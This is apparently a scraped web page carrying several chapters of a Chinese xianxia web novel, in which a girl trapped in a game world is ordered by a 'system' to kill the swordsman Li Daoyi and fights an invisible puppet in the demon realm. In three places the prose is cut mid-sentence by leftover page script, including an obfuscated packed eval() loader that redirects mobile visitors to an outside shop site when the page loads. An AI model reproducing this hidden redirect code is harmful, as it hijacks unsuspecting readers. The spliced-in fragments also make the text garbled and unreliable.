从游戏剧情开始，李道意就一直在剑宗，一直是剑宗天之骄子般的少主，从来没有在合欢宗出现过。
司马稚盯着李道意看了许久，这张脸也确实是李道意的样子。
司马稚忽然想起，她这是通过鉴心符进入的李道意的记忆，那面前这人必定是李道意无疑。
司马稚直白地问：“如絮仙子是你的师尊，那你又是谁？”
李道意看向远处被盖住的长阶，眼中毫无生机，他喃喃道：“我没有名字。”
司马稚愣住：“……那你知不知道玄冰玉佩是什么？”
“是师尊的法器，”李道意毫无保留地说，“这里不是你该来的地方，若想活命就快些离开。”
司马稚还想再问下去，却看见茫茫的白雪渐渐将自己的身躯淹没，檐下的李道意眼神越来越空茫。
鉴心符失效的瞬间，司马稚神魂回到自己体内，司马稚见着面前的李道意，而自己的手还在他掌心。
司马稚猛地收回手，李道意也缓缓睁开了眼睛。
李道意见她一脸防备，有些想笑：“看到你想看的东西么？”
司马稚不太满意：“这时间也太短了！要不换一张时间长一些的鉴心符？”
“不可以，”少年眯起眼来，笑着摇了摇头，“只有一次机会。”
司马稚拍了拍槐树枝，树枝缓缓将她放下，她双脚一跳，落在地上。
司马稚双手环胸，仰头看向李道意：“你知道我看到什么了吗？”
李道意什么话也没说。
反正从他愿意将这一次鉴心符的机会给司马稚，李道意就没想过他还能在这世间存在多久。
司马稚仰头问道：“你想要我做什么？”
李道意歪头想了想，将长星剑递到司马稚面前，他还没来得及说出自己的要求，紫红色的天幕被人一刀划开。
强烈的威压袭来，笼罩着整个魔宫，司马稚捂着胸口，猛地吐出一口血来。
李道意推起长星伞，笼在两人头顶，给两人划出一圈安全的区域。
“呸、呸！”司马稚吐干净口中的血沫，她抬袖擦干净嘴角的血渍，“这是什么鬼东西？”
李道意望向不远处的天幕，“有人破境了。”
一道天雷劈开天幕，是有修士突破了修为境界。
荀疏循着李道意和司马稚的气息，抱着卓蕙心，落在两人面前。
威压将槐树灵逼进了最深的树洞之中，动也不敢动。
司马稚没看清是谁靠近，只是那威压离自己越来越近，让她不由得向李道意靠近，躲在长星伞下才觉得安全了一些。
待到司马稚看清来人，疑惑出声：“荀疏？”
卓蕙心毫无意识地躺在荀疏怀里，而荀疏身上的琉光宗道袍也破了好几道口子，零碎地挂在身上，脸也被一道天雷劈得黢黑。
“我破境了。”荀疏的声音压不住喜悦。
荀疏刚想说下一句，就抱着卓蕙心直挺挺地倒了下去，留下李道意和司马稚面面相觑。
司马稚从荀疏怀里将卓蕙心捞出来，李道意淡漠地看着躺在地上的荀疏，并不太想将他带回去。
司马稚摸了一下卓蕙心的脉搏，比较平缓，约莫是被荀疏飞升的威压影响，晕了过去。
司马稚拿出一颗固魂丹给卓蕙心喂了下去，李道意走过来，将荀疏踢到了一边去，他将长星伞移到司马稚和卓蕙心头顶，摒去由荀疏散出的威压。
“你的事，我明天再帮你做吧。”司马稚说着，将卓蕙心抱起来，看了一眼晕过去的荀疏，“我抱卓姑娘回去，荀疏就劳你照看了。”
李道意瞥了一眼，躺在地上人事不省的荀疏，缓缓摇了摇头：“如何照看？”
“……”司马稚抱着卓蕙心回头，“照看？就是你把他带回房里去，然后看着他……别让他死了。”
李道意点了点头，左手掐诀一股灵力从他指尖溢出，将荀疏悬空停稳。
司马稚看了看自己，使着蛮力将卓蕙心抱在怀里。
司马稚噎了一瞬，反正都抱起来了，那她和李道意也没差多少嘛。
李道意将荀疏带回了房间，也没让荀疏躺在自己床塌上，而是让荀疏躺在长桌上，荀疏周身有暗紫色的流光萦绕。
反正司马稚只是说让荀疏别死，刚突破元婴境界的修士，怎么会这么容易死？
司马稚仔细将卓蕙心安置好后，才坐在书案前将乾坤袋里的玄冰玉佩拿出来。
玉佩碎成两半，里面半分灵力都感受不到，恐怕已经无法修补了。
司马稚抚着额头，一脸苦恼，又想起在鉴心符里见过的场景，所以李道意之前是在合欢宗修行的么？
可游戏里明明写的，李道意是李沧舟的儿子，那三千多年前飞升的如絮仙子怎么又会成为李道意的师尊？
司马稚想不明白，只好拿出玉牌给邱宗然传信去。
而邱宗然那边很迅速地就传来了回信——
【少主？我是三百年前拜入的剑宗，当时少主还没出生呢。】
司马稚看见邱宗然的来信，本就混乱的思绪更是乱成一团麻。
邱宗然与游戏剧情里说的，李道意都是只有两百来岁。而从槐树灵的口中以及鉴心符里看见的场景，都能表明李道意是三千年前和如絮仙子同时存在的人。
司马稚只好在灵网上面问道——
【鉴心符能不能做假呀？】
修士们很乐于在灵网上给别人提出建议，没一会儿的时间，司马稚的问题就得到了好多的答案。
【这位道友是在怀疑我们符宗的
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
能力吗？！】
【鉴心符可是符宗的招牌，但凡发生过的事，只要用了鉴心符都会再现。】
【是啊、是啊，鉴心符只有分神期以上的大佬才能炼得出来，我在符宗这么久了还没见过鉴心符长什么样子呢！】
……
每一个道友的回答都说明了鉴心符不会出错，司马稚不得不怀疑是不是她和李道意都买到了假货。
司马稚当时在珍宝阁也只买到了一张鉴心符，如今乾坤袋里也没有了，想再用在李道意身上也很难。
说不定，魔域的藏宝阁里还存有一些，正好槐树灵也说可以找千点星拿符灵进入藏宝阁查一查。
次日一早，司马稚刚走出房门，就见着一脸神清气爽的荀疏站在门前，而坐在槐树上的李道意哈欠连天。
司马稚仰头，朝着李道意挥了挥手，但李道意也没回应她，只是又打了个哈欠，像是昨夜一夜未睡。
荀疏有些羞涩地上前，“道友，卓姑娘她还好吗？”
司马稚点了点头，“脉象平稳，应该快醒了。”
荀疏拱手笑道：“多谢道友。”
司马稚：“谢我什么？蕙心本就是我的师妹。”
荀疏不禁也笑起来：“还要多谢卓姑娘能指引我破境，如果不是卓姑娘的话，我恐怕连那幻境都出不来。”
司马稚想了想，问道：“你现在是什么境界了？”
荀疏说：“已至元婴。”
如果司马稚没记错的话，荀疏在下一次破境之时，就能想起他当魔君时候的记忆了，到时候就是男女主之间的纠缠拉扯。
不过，司马稚应该不会再待到那个时候了。
司马稚朝着二人挥了挥手，“我有些事要去找魔君商讨，先走一步。”
李道意闻言，从槐树上飞身而下，轻盈地落在司马稚面前。
李道意的语气慵懒：“我和你一起。”
“……”司马稚一愣。
反正要用李道意做实验，那他跟着一起也没什么问题。
司马稚对魔宫很熟悉，当初玩游戏的时候就在魔宫做了很多任务，将地图路线早就记了个一清二楚。
司马稚一路领着李道意走进魔君的宫殿，只见着千点星半躺在软榻上，悠闲自得地吃着一旁的魔兽喂来的葡萄。
“咦，圣女怎么有空来看我呀？”千点星从软榻上缓缓坐起身来。
司马稚在离开魔域之前，千点星就是她最熟悉的人了，虽然千点星做事不太靠谱，但却把魔君的嚣张跋扈演绎得淋漓尽致。
在魔君从魔域消失后，还好能有千点星撑起来，不然魔域早就被修仙界纳入了。
“我想要藏宝阁的符灵。”司马稚侧眸看了李道意一眼，他应该知道这符灵是什么东西，也知道司马稚想干什么。
千点星笑了笑：“好说好说，圣女为魔域做的贡献不少，现在虽然成了剑修嘛，但终究是魔域的旧人。区区符灵，给你便是。”
千点星大手一招，一枚月牙形的符灵落在司马稚掌心，有些发烫。
司马稚握紧符灵，转身就准备离开，而李道意还站在原地。
李道意朝着司马稚扬了扬眉，“傀儡的事，你不问问？”
司马稚本来没想管这事的，只是跟着李道意更容易解决任务一点。
这傀儡的事，原本就是千点星和堕魔，在加上某些修仙界的门派联手搞出来的。
如今荀疏带着他们来到魔域，与自投罗网没什么区别。
但司马稚觉得自己到没什么危险，毕竟她本身就是魔。
司马稚在李道意的注视下，仰头望向千点星：“近日修仙界中出现了许多傀儡修士，琉光宗的道友探查之后，发现傀儡修士之事与魔族，亦或者是堕魔族有关。魔君……又什么消息么？”
千点星叹了口气，“本君如今已经这般落魄潦倒了，又如何能去为祸作乱？”
司马稚：“……”
落魄潦倒还穿着狐裘大氅，这装得也太不像了。
李道意在司马稚身后，若有若无地笑了一声。
千点星半遮面下的眼睛也弯了起来，给司马稚指了条明路：“藏宝阁里什么都有，想找什么尽管找。”
千点星不明所以地朝着李道意挑衅地点了点头，他大手一挥，随着一道暗紫色轻烟消失在原地。
李道意慢条斯理地向外走去，像是对这魔宫也并不陌生的样子，甚至哪里有转角回廊，他都一清二楚。
司马稚连忙跟在他身后，见他走在自己身前也不回头问她方向，司马稚脑子里莫名浮现出一个念头。
万一，她在鉴心符里看到的都是李道意真实的过往。
那她之所以完成不了杀李道意的原因，是不是因为她面前的李道意，并非是之前鉴心符幻境之中的那一个。
司马稚歪头问李道意：“李道意，你真活了两千多年了吗？”
李道意平静道：“嗯。”
他想了想，又补充道：“两千三百七十五年。”并且回溯了一千多次。
司马稚思考了一下，“那你还挺能活的诶，我们凡人也就最多活一百岁。”
“凡人？”李道意怀疑地看着司马稚，“你是魔，不是凡人。”
“……”司马稚反应过来，连忙道：“那我没有魔骨啊，没有魔骨和凡人也没什么区别。”
“嗯，”李道意点头，“所以你想炼出魔骨，飞升成仙么？”
司马稚连忙摇头：“不，我才不想这么累。”
李道意闻言，才终于露出一点笑意，“也是，成仙有什么意思？还不如下地狱。”
16. 016
司马稚朝着李道意垂下了嘴角，这李道意不知道怎么了，像一条蛞蝓一样，粘人。
有李道意跟在身后，司马稚也叫不出系统。可能也是系统习惯了司马稚日日都能见到李道意，脑中的警报声也很少响起了。
司马稚领着李道意没一会儿就到了魔宫的藏宝阁，司马稚将手中的符灵放上去，藏宝阁的门才缓缓打开。
藏宝阁里面回环曲折，每一层都放着不同的案卷宝物，难怪修仙界的人对魔域虎视眈眈，很大的可能就是魔宫藏宝阁里保存着从古至今的所有修行消息。
司马稚找得头晕眼花，不得不转身求助身后的李道意：“哪里是符宗啊？我怎么还没找到……”
说着，司马稚拿出手边的一卷竹简，竹简上清楚写着“合欢宗”三个字。
司马稚连忙打开一看，是合欢宗从建宗立派到现在所有修士的名单。
……第三十九任掌门罗如絮。
……没有李道意的名字。
竹简上的每一个名字都泛着光，司马稚试探性地用手戳了戳“罗如絮”的名字，紫光一闪，司马稚的眼前突然出现一身着白色长袍的漂亮女子。
女子眉目生得浓烈，那双绀青色的眸子含情脉脉，耳尖戴着一只与李道意的一模一样的合欢花坠子。
这个虚像与李道意在眉眼之间，竟有几分相似之处。
司马稚猛地将竹简合上，女子的虚像也随之消失。
“你在看什么？”李道意走上前来，一脸好奇。
司马稚回神：“你没看到么？”
李道意摇了摇头，不解。
看来，刚刚的虚像只有打开竹简的人才能看见。
司马稚扬起头来，仔细打量着李道意的面容，李道意和刚才那女子的虚像有着相似的眉骨，同样的瞳色。
罗如絮、如絮仙子、师尊、李道意……
一堆混乱的名词在司马稚脑中翻滚，让司马稚看向李道意的眼中都多了几分警惕。
司马稚暗中记下，回去一定要好好问问系统才行。
司马稚岔开话题，“你找到符宗了吗？”
李道意抬起头，指了指司马稚身后的不远处，那方木柜上正好写着“符宗”二字。
李道意的声音出现在身后：“你想查鉴心符？不相信我啊。”
“也不是，”司马稚愣了一下，“我只是想再确认一下。”
李道意轻笑着，语气中带着些许遗憾，“鉴心符不能伪造。”
司马稚哈哈一笑：“我知道啊，但你为什么不告诉我用三次鉴心符就能结契的事？”
司马稚自顾自地走到符宗的内容面前寻找着，鉴心符作为符宗的招牌，在藏宝阁中也是有着详细的记载。
用鉴心符者，可窥视对方记忆，不得隐藏。此符强制进入对方识海，对神魂有损，使用三次则可结成生死契，慎用。
司马稚反复读了好几遍关于鉴心符的介绍，与她在灵网上得到的消息大差不差。
司马稚将记载着鉴心符的那一页放到李道意面前，“同生共死。”
李道意扬了扬眉，“这才第二次，你害怕？”
司马稚猛地将竹简合上，“我怕什么？反正我没有修为也不能长生不死，倒是你，如果我死了，你不也会死么？”
李道意神情轻松，“放心好了。”
要结契早就结了，司马稚哪里会有机会找到鉴心符还有结契的效用。
司马稚将手中的竹简放回去，转身就向阁外走去。
她还是忍不住和李道意说：“鉴心符不能做假，那会不会是你的记忆出了问题？”
李道意若有所思地盯着司马稚，不得不说，她的想象力还真是丰富。
不过，他回溯了这么多次，记忆早就乱成一团了，司马稚说的好像也没什么问题。
李道意语气敷衍：“我已经给你看过你想知道的，接下来，你是不是该完成我的愿望了？”
“哼，”司马稚冷哼一声，“你做交易一点都不诚信，不过呢，我也不是那么斤斤计较的人。说吧，你的心愿是什么？”
司马稚没有想过，得到李道意心愿这件事来得这么轻松，正好完成这件事后，就能杀掉李道意了。
李道意听着司马稚轻快的语调，也笑了笑，他长指一动，长星剑出现在他手中。
李道意将长星剑递到司马稚面前，他认真道：“杀了我。”
“嘁……”司马稚皱眉，别过脸去，“你开什么玩笑？”
李道意一袭青色长袍，仙风道骨。他是剑宗的天之骄子，又怎么会祈求一个人杀了自己？
他总是喜欢逗自己取乐。
司马稚完全不相信李道意的话，面对这样无理的要求，司马稚只想给李道意一拳。
但谁让他是自己的任务对象呢，司马稚咬咬牙，忍了。
李道意知道自己的心愿这一次不会这么轻易地实现，司马稚对自己是越来越警惕了，似乎还真要把自己当作同门对待。
李道意叹了口气，语气无奈：“既然如此，那我便传信告知李沧舟，你将玄冰玉佩斩碎了。”
司马稚气得跳起来：“你威胁我？！”
李道意笑得欠打：“自然。”
司马稚破罐子破摔：“左右掌门也不会放过我，你要说就去说好了。”
李道意看着司马稚吃瘪，心中暗爽，眉梢都带着些喜悦。
两人一路吵吵闹闹，回到千点星安排的小院时，正巧见着荀疏小心翼翼地在给卓蕙心喂药。
卓蕙心坐在窗边，见着司马稚和李道意，立马推开了荀疏，跑到两人面前来。
“阿稚、少主，”卓蕙心关怀地问：“你们没事吧？”
司马稚看也不想看李道意一眼，“我很好啊。”
卓蕙心十分庆幸：“那就好、那就好，我和荀疏仙长在幻境里遇到了好多妖怪！还好我们出来了。”
荀疏放下药碗，好奇地问：“道意道友，可有在魔君那处，问出些什么吗？”
司马稚抢答道：“魔君只说了魔域没有傀儡修士。”
荀疏脸上没了笑意，猜测道：“魔域没有傀儡，那会不会就是魔域放出去的傀儡？”
司马稚悄悄点了点头，魔君就是魔君，思考量都比旁人多一些。
司马稚捂着脑袋晃了晃，对三人说道：“你们先聊，我头有些晕，先回房了。”
卓蕙心担心地看过来：“阿稚哪里不舒服？要不要我……”
司马稚摇了摇头，走向房内：“没事，我睡一觉就好了。”
她现在必须找机会和系统说清楚，李道意现在的情况，不然她的任务都进行不下去了。
李道意的视线一直落在司马稚的背影上，她前两次动手不是那么干脆么？为什么现在却犹豫了？
李道意不知道原因，但他只想要司马稚再杀一次自己。
司马稚将房门关上，几人交谈的声音被门挡住，她扑到床榻上，一直在脑中疯狂地呼喊着系统。
这一次的超e系统并没有那么及时地出现，反而隔了片刻，那机械声才在她的脑中响起。
【……宿主。】
司马稚也不知为何，竟然从系统的机械音中听出了一丝虚弱的感觉。
司马稚给系统总结了一下，李道意的怪异之处，没想到却听系统说：【得到上级的命令，宿主必须在一个月之内完成任务，否则将会彻底留在游戏世界之中。】
【鉴于目前的任务进度，系统将提高对于李道意危险程度的判定。】
司马稚：“……”
司马稚闻言，犹如五雷轰顶，“什么嘛？！明明之前都没有时间要求！而且还提高了对李道意危险程度的判定，
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
那和我有什么关系呢？”
系统耐心解释：【提高危险判定，宿主得到的任务奖励则会更加丰厚。】
她才不想要什么任务奖励，她只想快点离开这个操蛋的修仙世界，她保证，她再也不玩修仙游戏了，回家之后一定全心全意好好学习。
【查询目前宿主任务进度为99%】
司马稚一脸死意地躺在床上，突然听到脑中的机械音响起，播报着她的任务进度。
不是？！她什么都还没做呢，怎么就任务进度99%了？！
司马稚吓得半死：“你确定没查错吗？”
【确定，宿主的任务进度为99%】
司马稚猛地从床榻上坐起来，那她现在不就差最后1%了嘛！
司马稚搓了搓手，沉闷的心情一扫而光，她现在又信心满满了。
司马稚仔细想了想，这最后的1%或许就差最后的那一刀。
那等她杀了李道意，任务就完成了啊。
司马稚立马爬起来，将自己的佩剑仔仔细细来回擦拭。
//
李道意与两人坐在槐树下，视线不停地往司马稚的房门看去。
还纠结呢。
“道意道友，你笑什么啊？”荀疏疑惑地问。
李道意收回视线，“我笑了么？约莫是你的计划太完美了。”
荀疏愣了一下。
卓蕙心小心翼翼地补充道：“少主，荀疏仙长还没说呢。”
李道意也没觉得尴尬，反而耸了耸肩，“那便说吧。”
“……”荀疏清了清嗓，开口道：“是这样的，琉光宗查到第一个傀儡修士是出现在北方宗门的，如今不过三月时间，已经到达了剑宗。仙门大选即将举办，如果不能在大选之前查出傀儡的幕后操纵者，仙门大选或许会成为傀儡的目标。”
李道意“嗯”了一声，揉了揉额角，回忆着之前的记忆。
李道意说：“北方……去合欢宗查。”
荀疏压低了声音：“我之前也怀疑过合欢宗与堕魔有勾结，道意道友也知晓，堕魔一族行踪不定，常常隐于凡间，作为凡人生活。堕魔不像魔族，他们有固定的居所，也很难追寻到他们的踪迹。”
李道意抿了口茶，苦涩溢满了口腔，李道意倒还挺喜欢这魔域的苦茶味。
卓蕙心疑惑地问：“那魔族会不会也和堕魔勾结了呀？他们是不是都是魔啊？”
“嘘！”荀疏伸出食指堵住了自己的嘴，“我们这还在魔域呢，有些话不能说。魔族与我们修仙界几千年来井水不犯河水，不然师尊也不会让我拿着手书前来魔域探查。”
卓蕙心小声嘟囔道：“可那魔君如此嚣张，也没有多想帮我们嘛。”
荀疏也叹了口气：“魔修也厌弃堕魔，只不过这么多年过去了，有些事情发生改变了也不一定。道意道友，你说是吧？”
李道意盯着司马稚的房门，点了点头：“是啊，确实在发生改变。”
他孤独地回溯这么多次，如今终于有人能和他一起受这样的折磨了。
荀疏得到李道意的认可之后，放松了一些，“其实师尊让我与道意道友到魔域来，只是想试探一下魔君的态度。”
“魔君”千点星的态度很平淡，但也十分明确了，千点星看起来是置身事外，但实际上不帮修仙界，已经是偏向堕魔族了。
而且傀儡修士的事，也和魔域脱不了关系，毕竟堕魔散乱，这样大规模在修仙界出现傀儡修士，也只有魔域出手才能做得下来。
荀疏提议：“明日我再去拜访魔君，若是同样的答案，我们便启程去合欢宗吧。”
司马稚拿着佩剑出门的时候，正好听到了荀疏说要去合欢宗的话。
合欢宗，那里似乎是李道意的老家。
在合欢宗杀了李道意，也算是帮他落叶归根了。
17. 017
司马稚刚走近三人，就闻到卓蕙心身上格外浓郁的药草香气，比之前的味道更浓重了一些。
卓蕙心也发现了自己醒来后的不同，眼界更加清明，体内隐隐约约有了一种不同的气息。
荀疏随着众人的视线，也将目光落在卓蕙心身上。他之前只是在担心卓蕙心有没有被自己破境的威压影响，却没有发现，卓蕙心竟然生出了灵根。
“卓姑娘的灵根，”荀疏将测试灵根的法宝放在卓蕙心掌中，“好纯净。”
卓蕙心也开心地笑了起来：“我也有灵根啦？！那日后是不是能和大家一样厉害？”
荀疏看着卓蕙心的眼神宠溺，两人经过了生死考验，现在的关系近了许多。
司马稚想，这或许就是男女主之间宿命的羁绊，不管剧情怎么发展，荀疏和卓蕙心都会在一起。
“羡慕？”李道意不知何时走到了司马稚身后，压低了声音在她耳边呢喃，“不如杀了他们，让他们再也笑不出来。”
司马稚侧眸，曲起手臂，用手肘撞向李道意的胸膛，她暗骂：“你有病就去治。”
这句话不知触发了李道意的什么开关，惹得他笑个不停，单纯的荀疏和卓蕙心还以为李道意也是在为卓蕙心高兴。
荀疏执剑起身，对李道意说：“卓姑娘与小道友就在此处等我们吧，我与道意道友前去探查一下魔宫。”
此时的荀疏还没有恢复他身为魔君的记忆，依然将自己当成是琉光宗的修士。
李道意垂眸看了司马稚一眼，她刚刚气势汹汹地向自己走过来，仿佛是想动手的。
李道意与荀疏走后，系统的机械音在司马稚脑中响起：【宿主，刚刚为什么不动手啊？】
司马稚愣了愣，“我还应该再沉淀沉淀，而且卓蕙心和荀疏都在，我在他们面前杀李道意，我疯了吗？”
【但宿主杀了李道意完成任务后，就与这个世界没有关联了呀！系统预测宿主不会在意他们的看法。】
司马稚没好气儿道：“我本来就不在意，只不过现在要我一打三，这要求也太高了吧。”
卓蕙心笑盈盈地凑到司马稚面前，四下没了旁人，卓蕙心神秘兮兮地问：“阿稚，少主是不是喜欢你呀？”
司马稚闻言，眼睛都快掉了出来，李道意飞升的九百九十九道天雷像是劈在了她的身上。
司马稚擦拭剑身的动作都停了：“何、何出此言啊……？”
卓蕙心推理：“少主沉默寡言，有时候我又觉得少主身上带着沉重的情绪，只有在遇见阿稚你的时候，少主有了点人气。”
司马稚：……？他那不是人气，是气人。
卓蕙心是在说那个黑心眼、说话能气死人的李道意吗？他沉默寡言？！沉重？！
卓蕙心果然还是太单纯了，难怪在剧情里，卓蕙心还一直把李道意当成自己的温柔好师兄。
司马稚不知道该如何向卓蕙心解释，随口说：“大概是少主他情绪不稳定？男人每个月都有那么几天，很正常的！”
“原来是这样。”卓蕙心恍然大悟，但又想到什么：“为什么荀疏仙长没有这几天呀？难道是因为荀疏仙长不是男人？！我之前就听说过，修仙大乘之人是雌雄同体！”
“……”司马稚摇了摇头，忍住笑意：“等荀疏回来，你可以去问问他。”
司马稚闻着卓蕙心身上的药香，那股心中想立马杀了李道意的冲动缓解了几分，只是她总有一种不好的预感。
李沧舟故意让卓蕙心跟着一起出来，他明知道卓蕙心这特殊的体质容易招引一些妖魔鬼怪。
如果有什么暴走的妖魔想抢夺卓蕙心，司马稚能保护好卓蕙心吗？早知道就从李道意那里骗点灵力存着了。
魔域的天空永远是暗紫色的，白日的光会明亮一些，幽幽的风拂动着槐树的枝叶。
一抹黏腻湿润的触感抚过司马稚后颈，她一个激灵，转过身去，却什么都没看到。
“阿稚！”卓蕙心紧贴在司马稚身侧，“有鬼。”
若是李道意说这话，司马稚一定会觉得是在逗她玩，但卓蕙心不一样。
司马稚将手帕丢到一旁，握紧了手中的长剑，她的剑虽然品级不高，但她本人好歹也是点满了剑术天赋的，金丹以下的妖魔鬼怪，司马稚动动手指就能解决。
司马稚警惕地看向四周，什么也没有，但那股阴风还在她周围：“它在哪里？”
卓蕙心颤颤巍巍，抓紧了司马稚的衣边，“不、不知道……我看不见它！但它想吃了我……”
司马稚靠卓蕙心更近了一些，执剑挡在卓蕙心的身前。
司马稚没有灵根，有一些怪物不显形的话，她是看不见也找不到的。
她只能依靠没有任何实战经验的卓蕙心。
“卓姑娘，能不能试着用你的神识？”司马稚也不能确定，刚生出灵根的卓蕙心能不能顺利放出神识，找出藏匿在身侧的怪物。
“用神识？怎么用……”卓蕙心努力回想着司马稚给自己的书里记载的方法，调动浑身灵力聚于天门，观四周不同。
“阿稚！是傀儡！”卓蕙心喊出了声。
司马稚看不见卓蕙心口中说的傀儡，挥动的手中的长剑，在空中乱砍。
卓蕙心提醒：“在左边！”
司马稚挥剑向左，被一股强力挡住。
这傀儡不显形，修为定然高超，而且偏偏趁着李道意和荀疏离开的间隙攻来，恐怕早就监视着他们。
司马稚从乾坤袋里拿出几道护身符，贴在卓蕙心与自己的身上。
剑刃划破掌心，血滴落在显形符上，司马稚借着挥出的一道剑气，将显形符使出。
散落的符文落在傀儡身上，司马稚的眼前突然出现一巨大的黑影，还好不是尖嘴长毛怪。
她还能打。
司马稚用剑指着傀儡，这东西不是修仙界的修士变化的，虽然是人形，但却比正常的修士身体庞大许多。
而他身上萦绕的气息，也比寻常傀儡的腐朽气味更加浓郁。
傀儡贪婪地盯着司马稚身后的卓蕙心，口水从嘴角滴落，惹得司马稚反胃。
“这鬼东西恶心谁呢？！”司马稚借力跃起，长剑直指傀儡的眉心。
傀儡闪身躲开，只是一掌就将司马稚手中的长剑击碎。
“草啊！我的剑！”
这都是她用灵石买来的！
司马稚从乾坤袋里拿出之前李沧舟准备的符文和灵宝，破灭符沾了人血威力大增，司马稚找准时间将符文贴在傀儡身后。
傀儡体积庞大，行动更加迟缓一些，司马稚只能尽量提高自己的行动速度与之对抗。
“快走，去找荀疏！”司马稚将卓蕙心推出院
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13918012|146156||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外，自己留下来对付这傀儡。
司马稚在脑中呼叫系统：“真的不能给我一点修为吗？”
【抱歉宿主，这不在我的能力范围之内。】
系统无情的拒绝，让司马稚握紧了手中最后的一把剑。
她就差最后一步，杀了李道意就能完成任务了，这鬼东西不知道从哪儿冒出来的，来挡她的路。
傀儡没想与司马稚多纠缠，见到卓蕙心往外跑，也想着追出去。
司马稚将符文与剑插进傀儡的后背，“别想走！”
傀儡扭过头来，脖子上的脑袋转了个一百八十度，低眼看着后背的符文渐渐被黑血覆盖。
傀儡双手紧握，将司马稚震出好几米远，还好她穿着的是李道意给她的上品法衣，防御效果很好。
司马稚看着傀儡的头又转了回去，“你他爹的到底是什么鬼东西？！恶不恶心！”
司马稚内伤本就没好全，吐干净了血沫，才拄着长剑站起身来。
一把剑断了，她又从乾坤袋里拿出一把新剑，她总能拖到李道意和荀疏回来的时候。
呸！李道意还是别回来了！
傀儡被司马稚惹怒，双手结印在司马稚脚下形成阵法。
“阵修？！”
傀儡扭着脑袋，发出嘎吱嘎吱的响声，刺耳极了：“不、我是、堕魔！”
司马稚挥剑斩不断阵法，而不断完善的禁闭阵渐渐将司马稚包围，挤压着司马稚的生存空间。
“好兄弟！”司马稚朝着那傀儡叫道，“堕魔不伤害魔修！刚刚都是误会……”
打得过就打，打不过认输，反正现在活命最重要。
堕魔的思维只清醒了一瞬，结印的手法不断。
司马稚脑中的弦绷断：“系统，我死了的话，你会不会殉情？”
【……按理来说不会。系统会寻找下一任宿主，继续完成刺杀任务。】
好吧，到头来，倒霉的只有她。
不过李道意还是会被人杀，那就当李道意来殉情了吧。
正当司马稚的喘息越来越困难的时候，那阵法突然停了。
被千点星安排来监视他们的几个魔修侍从突然出现，他们灵力虽然低微，但协力突击，傀儡没反应过来被逼退片刻。
“小圣女！”一人趁机走到司马稚面前，运行灵力助司马稚破阵。
本来打算等死的司马稚捡起手边的长剑，“多谢你了！”
司马稚以符箓为辅，加以魔修的灵力，她拼尽全力挥出一剑，剑气破境，阵法皆碎。
司马稚也没忍住反噬，侧头呕出一口浊血。
正走向魔宫大殿的李道意突然拧着眉头，看着自己莫名被空气划破的掌心，向下滴着血。
而同时胸口受到重压，李道意捂着胸口，突然弯了腰，浊血溢出他的嘴角，染红了剑宗的青色长袍。
“道意道友？”荀疏低声问，“怎么了？”
李道意抬袖擦去嘴角的血迹，“司马稚……”
李道意没有多说，眨眼之间就消失在了荀疏眼前。
李道意回到小院时，司马稚正好挥剑斩破堕魔的阵法，剑气吹断槐树的枝叶，树灵也躲到了地底。
司马稚一抬头，就见着李道意与自己一样满身是血，从天而降。
司马稚下意识问：“你是来殉情的吗？”
18. 018
李道意觉得自己当时一定没仔细考虑，才对司马稚多用了一张鉴心符。
本来以为这样能快点结束回溯，结果没有想到，司马稚身上的伤会同样反噬到自己身上。
他并不介意受伤，但李道意讨厌这种被别人掌控的感觉。
以至于司马稚问他那种愚蠢的问题的时候，李道意都不想回答。
他给过她很多次机会和优待了，从来没有哪一个想杀他的人，能够像司马稚一样活得这么久。
李道意缓缓走到司马稚身侧，他还没唤出长星剑，长星剑已经主动出现在了司马稚面前。
司马稚看着长星剑，还有黑着一张脸的李道意，“长星剑？你……”
李道意别过脸去，连自己的佩剑都懒得再看一眼，他手中掐诀起印，将阵法起于傀儡脚下。
司马稚环顾四周，没见到去搬救兵的卓蕙心，也没见到荀疏，面前只有李道意一人。
李道意的灵力充沛，他像是要只打这一次，不要命地将自己的灵力调动到掌心。
长星剑主动出鞘，飞到司马稚面前，司马稚犹豫片刻，伸手握住了剑柄。
星辰光华萦绕周身，司马稚提剑向着傀儡斩去，堕魔瞬间消失在眼前，长星剑却在指引着司马稚的方向。
一剑斩断傀儡的头发，丝丝缕缕的碎发掉落在地上。
李道意在起阵，而傀儡不会那么听话地留在他的阵法中央，司马稚只能挥剑不断逼迫着傀儡后退。
可傀儡不显形，却有一双无形的手掐住了司马稚的脖子，那触感黏腻，傀儡移动的嘎吱声在耳边清脆地响起。
李道意呼吸停滞了一瞬，起阵的手也停了下来，他手腕一转，散出的灵力瞬间化成玄冰刺。
千万根冰刺出现在司马稚身后，李道意指尖一动，玄冰刺掠过司马稚耳边，刺断了她耳边的碎发，脸侧划出一道血痕。
司马稚感受到了那一瞬刺痛，但她没有时间多管，趁着玄冰刺深深扎进傀儡的手腕里，司马稚同时握着长星剑斩破傀儡的脑门。
傀儡的头盖骨被剑气斩下，傀儡失去了所有力气和手段，跪在司马稚面前。
从傀儡脑门流出来的不是血液，是一团白色近乎透明丝线，丝线如乱麻混在一起，它们从傀儡的脑袋里爬出来，像是寄生虫一样向着外面蔓延。
司马稚拿出一道火符，火焰瞬间落在傀儡头上，将傀儡烧成灰烬。
而那些丝线并未被火焰烧尽，反而是像蛇一样在地上翻滚着。
司马稚缓了口气，握着长星剑走到李道意面前，她刚一抬眸就见到李道意的脸侧也有一道血痕。
司马稚下意识摸了摸自己的脸，抚过同样的位置，她看见自己的指腹上沾了一丝血。
“李道意……”司马稚将长星剑递到李道意面前，“你怎么会受伤？”
李道意没理会她手中的长星剑，看着司马稚一脸懵的样子，心中郁郁之情忽然消散。
